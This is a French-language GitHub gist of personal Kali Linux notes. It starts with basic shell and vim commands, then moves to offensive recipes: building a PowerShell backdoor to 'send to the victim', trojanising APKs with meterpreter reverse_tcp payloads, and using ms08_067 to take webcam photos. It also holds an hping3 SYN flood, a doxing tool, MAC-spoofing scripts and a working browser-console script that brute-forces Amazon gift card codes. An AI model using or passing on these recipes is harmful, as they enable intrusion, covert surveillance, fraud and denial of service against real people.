Last active
September 28, 2019 09:52
-
-
Save rzdhop/bd7a8cfca3d285cdadb42232ec90f91b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-------------------------------------------------------------------------------------------------------- | |
RHOSTS | RPORT = Target IP | Target PORT | |
LHOSTS | LPORT = Your LOCAL IP | Your LOCAL PORT | |
-------------------------------------------------------------------------------------------------------- | |
fdisk -l = afficher les peripheriques connecter | |
umount /dev/sdb1 = ejecter le periphérique sdb1 | |
-------------------------------------------------------------------------------------------------------- | |
Voir sont IP public : wget -qO - icanhazip.com | |
-------------------------------------------------------------------------------------------------------- | |
VIM = comme nano (editeur de text terminal) | |
i = mode insertion de txt | |
echap = naviger | |
yy = copier la ligne | |
p = coller la ligne | |
echap + :wq = quitter en sauvegardant les modifs | |
echap +:q quitter sans saugarder les modifs | |
/mot = cherche toutes les occurence du mot "mo" | |
n = naviguer dans les occurence | |
:syntax on = met des couleur de syntaxe | |
-------------------------------------------------------------------------------------------------------- | |
dpkg -l = voir tout les logiciel installer sur le pc | |
sauvegarder = dpkg --get-selections > Liste.txt | |
Importer = dpkg --set-selections < Liste.txt | |
|si erreur = aptitude install dselect & dselect --> Choisir option de MAJ ---> dpkg --set-selections < Liste.txt| | |
Installer = apt-get dselect-upgrade | |
-------------------------------------------------------------------------------------------------------- | |
-------------------------------------------------------------------------------------------------------- | |
-------------------------------------------------------------------------------------------------------- | |
Ls = afficher les fichier | |
-a = Voir tout les fichier meme caché | |
-l = Voir les fchier en liste | |
-al = mix de -a et -l | |
-------------------------------------------------------------------------------------------------------- | |
cd = Se deplacer dans le fichier (e.g = cd Nom_du_dossier) | |
-------------------------------------------------------------------------------------------------------- | |
kill = kill un processus (e.g = kill PID_du_processus) | |
-------------------------------------------------------------------------------------------------------- | |
ps aux + grep = Afficher processus actifs + leurs PID | |
ps aux = Affiche tous les processus | |
grep = affiche uniquement les charactère choisi | |
ps aux | grep Nom_du_processus = Afficher uniquement le processus | |
-------------------------------------------------------------------------------------------------------- | |
-------------------------------------------------------------------------------------------------------- | |
locate = localise les fichier du nom specifié (e.g = locate Nom_du_fichier) | |
-------------------------------------------------------------------------------------------------------- | |
mv = Pour move un fichier dans un autre (e.g = mv nom_du_fichier Nom_de_la_destination) | |
-------------------------------------------------------------------------------------------------------- | |
cp = copier un fichier et le coller ou l'ont veux (e.g = cp Nom_du_fichier Nom_de_la_destination) | |
-------------------------------------------------------------------------------------------------------- | |
rm Nom_du_fichier = supprimer le fichier | |
-rf Nom_du_fichier = supprimer un dossier/ tout | |
-------------------------------------------------------------------------------------------------------- | |
chmod +x fichier == ajoute le droit x au fichier | |
-------------------------------------------------------------------------------------------------------- | |
cat Nom_du_fichier = Lire le contenue du fichier | |
-------------------------------------------------------------------------------------------------------- | |
pwd = indique notre position dans le terminal | |
-------------------------------------------------------------------------------------------------------- | |
Fish = aide a la saisie de commande prompte | |
sudo apt install fish | |
-------------------------------------------------------------------------------------------------------- | |
sudo = droit root , pour des commandes tel que apt get | |
sudo !! = execute en sudo la commande precedente | |
-------------------------------------------------------------------------------------------------------- | |
figlet | |
-sudo apt install figlet | |
-sudo apt install leafpad | |
-leafpad .bashrc | |
-Aller a la fin ecrire : | |
clear | |
figlet -c <Ce_que_tu_veux> | |
-------------------------------------------------------------------------------------------------------- | |
Dox : | |
git clone https://github.com/thelinuxchoice/userrecon | |
cd userrecon | |
chmod +x userrecon.sh | |
sudo ./userrecon.sh | |
-------------------------------------------------------------------------------------------------------- | |
Backdoor windows : | |
launch The Social-Engineer Toolkit | |
1) Social-Engineering Attacks | |
9) Powershell Attack Vectors | |
1) Powershell Alphanumeric Shellcode Injector | |
Entrer Mon IP | |
Entrer Port (par default 443) | |
accept = y | |
Dans un Nv terminal : | |
entrer dans le chemin ou est le x86_powershell_injection.txt (= cd /root/.set/reports/powershell/) | |
mv le x86_powershell_injection.txt dans Desktop ou autre (= mv x86_powershell_injection.txt ~/Desktop/) | |
Rennomer le x86_powershell_injection.txt en .bat | |
l'envoyer a la victime | |
pour voir les sessions infecté tapper "sessions" ou "sessions -l" dans msf exploit(multi/handler) > | |
Backdoor une apk 1: [Failed to recompile original project with backdoor | |
sudo git clone https://github.com/dana-at-cp/backdoor-apk.git | |
----------------- | |
apt-get update | |
apt-get full-upgrade -y | |
reboot | |
----------------- | |
sudo apt-get install apktool | |
sudo apt-get install zipalign | |
cd ~/backdoor-apk/backdoor-apk | |
leafpad backdoor-apk.sh | |
Aller a la ligne ZIPALIGN et supp path jusqu'a /zipalign | |
OPTIONNAL: rename apk | |
copier l'apk dans le 2e dossier backdoor-apk | |
cd ~/backdoor-apk/backdoor-apk | |
./backdoor-apk.sh <Nom_de_apk.apk> | |
3) meterpreter/reverse_tcp | |
LHOST = monip | |
Lport = un port ouvert quelquonque | |
2) Merge with payload and shuffle | |
Backdoor une apk 2: | |
git clone https://github.com/Screetsec/TheFatRat | |
cd TheFatRat | |
sudo chmod +x setup.sh | |
sudo ./setup.sh | |
(refaire 2 ou 3 fois pour etre sur) | |
sudo fatrat | |
5 | |
monip | |
port ouvert | |
path vers l'apk (/root/Downloads/monapk.apk) | |
payload meterpreter/reverse_tcp | |
1 backdoor-apk | |
-------------------------------------------------------------------------------------------------------- | |
Activer interface Réseaux: | |
tar -jxvf compat-wireless-2010..... | |
cd ..."" | |
make unload | |
make load | |
-------------------------------------------------------------------------------------------------------- | |
pour spoof Adresse MAC: | |
ifconfig = voir les interfaces reseaux (wlan0 | eth0 | wlan1) | |
si monitor mode no-activer : service network-manager stop | |
pour tous: ifconfig <Nom_Interface_Reseaux> down | |
macchanger -r (mac random) <Nom_Interface_Reseaux> | |
ifconfig <Nom_Interface_Reseaux> up | |
si monitor mode no-activer : service network-manager start | |
Automatiser l'activation du monitor mode (iw list) et spoof Adress MAC: | |
Crée deux fichier :- monitor_on.sh -monitor_off.sh | |
leur donner les droit: chmod +x monitor_on.sh | monitor_off.sh | |
Pour monitor_on.sh: | |
#!/bin/bash | |
#Couleur. | |
GREEN=$(tput setaf 46) | |
NORMAL=$(tput sgr0) | |
#tuer les precessus interferant au monitor mode. | |
airmon-ng check kill | |
#Crée l'interface monitor mode wlan0mon. | |
airmon-ng start wlan0 | |
printf "${GREEN}--------- Interface Monitor mode wlan0mon crée ------- ${NORMAL}/n/n" | |
#Spoof MAC address de wlan0mon. | |
ifconfig wlan0mon down | |
maccchanger -r wlan0mon | |
ifconfig wlan0mon up | |
printf "${GREEN}/n--------- MAC address de wlan0mon spoof avec succès ------- ${NORMAL}/n" | |
---- | |
Pour monitor_off.sh: | |
#!/bin/bash | |
#Couleur. | |
GREEN=$(tput setaf 46) | |
NORMAL=$(tput sgr0) | |
#Désactiver Monitor mode. | |
airmon-ng stop wlan0mon | |
printf "${GREEN}--------- Interface Monitor mode wlan0mon Désactiver avec succès ------- ${NORMAL}/n/n" | |
#Parametrage par default au Network-manager. | |
service network-manager restart | |
printf "${GREEN}--------- Paramètres par default appliqué sur le Network ------- ${NORMAL}/n/n" | |
#Spoof MAC address de wlan0. | |
service network-manager stop | |
ifconfig wlan0mon down | |
printf "/n" | |
maccchanger -r wlan0 | |
ifconfig wlan0mon up | |
printf "${GREEN}/n--------- MAC address de wlan0 spoof avec succès ------- ${NORMAL}/n/n" | |
-------------------------------------------------------------------------------------------------------- | |
S'introduire dans une machine via l'IP en Local: | |
msfconsole | |
use exploit/windows/smb/ms08_067_netapi (exploit pr acces webcam) | |
set lhost <tonIPLOCAL> | |
set rhost <sonIPLOCAL> | |
exploit | |
webcam_snap = photo | |
webcam_host = vidéo | |
S'introduire dans une machine via l'IP | |
launch metasploit | |
db_nmap -v -sS -A <IP_victime> | |
hosts (pour voir les information recoltée) | |
services (pour voir les différentes failles de la machines | colonne PORT,NAME,STATE,INFO ) | |
regarder dans colonne INFO les services vulnérable (e.g = VSFTPD ou VNC PROTOCOL) | |
Search <Nom_du_service_vulnérable> (pour voir les exploits utilisable pour le service) | |
use <Nom_du_chemin_de_l'exploits> (pour utiliser l'exploits) | |
set rhost <IP_victime> | |
Exploit | |
-------------------------------------------------------------------------------------------------------- | |
DOS/Ddos: | |
nmap -v (-p 1-100) <IP> => vadonner Les ports ouvert (et Adress MAC) | |
ping <IP> => pour tester la co de l'IP | |
(en mm temp) hping3 --flood -p <PORT> -S <IP> | |
------ | |
regarder le ping pour voir la co down | |
------------------------------------------------------------------------------------------------------- | |
Brut Force Amazon Gift card : | |
-aller sur amazon et faire son panier | |
-commander en clicker sur rentrer code cadeaux | |
-F12 | |
METTRE DANS CONSOLE CODE SUIVANT: | |
alert("Made by Naylor"); | |
var speed = prompt("tape 1,000 (ou plus) Si ton PC est rapide, 500 pour les PC lents") | |
function makeid() { | |
var text = ""; | |
var possible = "6SJXEoQ0Htx4WhvKgu2b3fIrle8wBZs1MRpT9PGyDCLVUmYO5AdiankFc7qjzN"; | |
for (var i = 0; i < 14; i++) | |
text += possible.charAt(Math.floor(Math.random() * possible.length)); | |
return text; | |
} | |
function main() { | |
document.getElementById("gcpromoinput").value = makeid(); | |
document.getElementById("button-add-gcpromo").click(); | |
} | |
setInterval(function() { | |
main(); | |
}, speed); | |
------------------------------------------------------------------------------------------------------- | |
Se connecter a la database de metasploit: | |
# Checker le statut : >db_status | vulns | hosts | |
exit (msfconsole) | |
# Check la version de metasploit :root@kali:> msfconsole -v | |
> systemctl start postgresql | |
> msfdb init | |
Entrer dans le Path 'Creating configuration file' > cd <Path> | |
> cat database.yml | |
> cp database.yml /root/.msf4/ | |
> cd ~/.msf4/ | |
Check si database.yml present dans /.msf4/> ls (voir database.yml) | |
Aller dans msfconsole | > db_status | |
------------------------------------------------------------------------------------------------------- | |
------------------------------------------------------------------------------------------------------- | |
https://www.youtube.com/watch?v=I3r_3Q2s3rs | |
Collect information passif : | |
-whois (sur site = whois root-me.org) (sur IP = whois <IP>) | |
-netcraft search DNS (avc URL de site) | |
-nslookup ---> set type=mx -----> <URL> | |
Collect information actif : | |
-nmap -v (affiche en temp réel evolution su scnan) -sS <IP_Cible> = scan l'IP et affiche l'Etat des Ports et leur services affiliée | |
-A = Affiche version des services/OS | |
dans msfconsole (resultat enregister dans BDD metasploit, pour les lire "db_hosts | db_services")= db_nmap -v -sS | |
-oX <nom_du_xml> = Enregistre le scan dans un .xml | |
importer le xml dans metasploit = db_import <nom_du_xml> | |
msf> search <ipidseq> (= rechercher un <outils de scan IPID>) ---> use <Chemin_d'accès> = pour le lancer | |
show options = montre les options a paramettrer (Required | current Setting) | |
set RHOSTS <IP_Cible> | |
THREADS = rapidité du scan | |
exploit = executé le module [ipidseq = execute un scan IPID pour savoir les IP hors_ligne sur le resaux local cible] | |
All zeros = actifs sur le reseaux | |
msf auxilary(ipidseq)>nmap -PN (Scan sans Ping) -sI (Scan using Zombie = IP_hors_ligne) <IP_hors_ligne> <IP_Cible> | |
--------------------------------------------------------------------------------------------- | |
transfer de fichier vers server ssh : | |
scp <file/path> <user@host>:<PathOnTheSshServer> | |
e.g = scp Verdu.site.zip pi@192.168.1.83:~/ | |
-r <FolderName> ==> pour copier le contenue d'un dossier | |
transferer un fichier vers le client: | |
scp <user@host>:<PATH> <DestinationFolder> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment